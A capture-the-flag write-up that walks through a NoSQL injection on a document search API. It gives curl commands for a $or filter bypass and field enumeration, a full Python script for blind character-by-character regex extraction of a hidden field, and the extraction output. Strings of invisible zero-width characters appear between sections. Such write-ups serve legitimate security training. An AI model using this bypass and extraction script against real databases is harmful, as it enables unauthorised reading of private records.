← Back to Writeups
CUSTOMMediumWeb

Документальный архив (Documentary Archive)

XESXOR9/2/20263 min read
#web#custom#medium#nosql_or_operator_acl_bypass#blind_regex_data_exfiltration#field_name_enumeration#character_by_character_extract

Документальный архив (Documentary Archive)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: nosql_or_operator_acl_bypass, blind_regex_data_exfiltration, field_name_enumeration, character_by_character_extraction

Summary

Walkthrough of the CUSTOM Web Документальный архив (Documentary Archive). Target: http://62.173.140.174:16114

Description

Теперь все свои документы храню тут (Now I store all my documents here)

Target: http://62.173.140.174:16114

Analysis

Step 1: Reconnaissance

The target server is a Python BaseHTTPServer with a "Document Store" interface. The main page has a search form that accepts JSON and sends a POST request to /api/search.

Key observations:

  • Server supports MongoDB-style query operators: $gt, $regex, $or, $exists, $ne, $type
  • Response always contains only 3 fields: _id, title, summary
  • User JSON is passed directly to the query engine — classic NoSQL Injection vector ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Discovering the Hidden Document

An empty query {} returns documents with _id: 1, 2, 4, 5 — but not 3 (gap in sequential IDs).

bash
# Direct query — document is filtered (likely public: false)
curl -s -X POST http://62.173.140.174:16114/api/search \
  -H 'Content-Type: application/json' \
  -d '{"_id": 3}'
# Result: []

The $or operator bypasses the server-side public filter:

bash
curl -s -X POST http://62.173.140.174:16114/api/search \
  -H 'Content-Type: application/json' \
  -d '{"$or": [{"_id": 3}, {"_id": 1}]}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result — document _id: 3 appears:

  • title: "Внутренняя стратегия" (Internal Strategy)
  • summary: "Этот документ содержит стратегические планы компании."

Step 3: Discovering the Hidden Field

The API returns only _id, title, summary — the flag must be in a hidden field. Enumerating field names via $regex:

bash
for field in body text content data flag secret password key note info; do
  result=$(curl -s -X POST http://62.173.140.174:16114/api/search \
    -H 'Content-Type: application/json' \
    -d "{\"$or\": [{\"_id\": 3, \"$field\": {\"$regex\": \".\"}}, {\"_id\": 999}]}")
  echo "$field: $result"
done

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The secret field exists — with $regex: "." document 3 is returned in results.

Solution

Step 4: Blind NoSQL Injection — Character-by-Character Extraction

The secret field value is never returned in the response. Using blind extraction via $regex with anchor ^:

python
#!/usr/bin/env python3
"""
Blind NoSQL Injection — character-by-character extraction via $regex
Target: HackerLab — Документальный архив
"""
import requests
import string
import re

URL = "http://62.173.140.174:16114/api/search"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def check_prefix(prefix: str) -> bool:
    """Check if secret field starts with given prefix."""
    # Escape regex special characters
    escaped = re.escape(prefix)
    payload = {
        "$or": [
            {"_id": 3, "secret": {"$regex": f"^{escaped}"}},
            {"_id": 999}  # non-existent, just to satisfy $or syntax
        ]
    }
    r = requests.post(URL, json=payload)
    return any(d.get('_id') == 3 for d in r.json())

def extract_secret():
    """Extract secret field value character by character."""
    known = ""
    charset = string.ascii_uppercase + string.digits + string.ascii_lowercase + "{}_!@#$%^&*"
    
    print("[*] Starting blind extraction...")
    
    while True:
        found = False
        for char in charset:
            if check_prefix(known + char):
                known += char
                print(f"[+] Found: {known}")
                found = True
                break
        
        if not found:
            print(f"[*] Extraction complete: {known}")
            break
        
        # Early termination if we found closing brace
        if known.endswith("}"):
            print(f"[*] Flag found: {known}")
            break
    
    return known
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    flag = extract_secret()
    print(f"\n[*] FLAG: {flag}")

Extraction Result

[+] Found: C
[+] Found: CO
[+] Found: COD
[+] Found: CODE
[+] Found: CODEB
[+] Found: CODEBY
[+] Found: CODEBY{
[+] Found: CODEBY{N
[+] Found: CODEBY{NO
[+] Found: CODEBY{NON
[+] Found: CODEBY{NONR
[+] Found: CODEBY{NONRE
[+] Found: CODEBY{NONREL
[+] Found: CODEBY{NONREL_
[+] Found: CODEBY{NONREL_D
[+] Found: CODEBY{NONREL_DB
[+] Found: CODEBY{NONREL_DB_
[+] Found: CODEBY{NONREL_DB_I
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED}
[*] Flag found: CODEBY{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering nosql_or_operator_acl_bypass, blind_regex_data_exfiltration, field_name_enumeration, character_by_character_extraction was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-07 • CUSTOM • Документальный архив (Documentary Archive) • Difficulty: Medium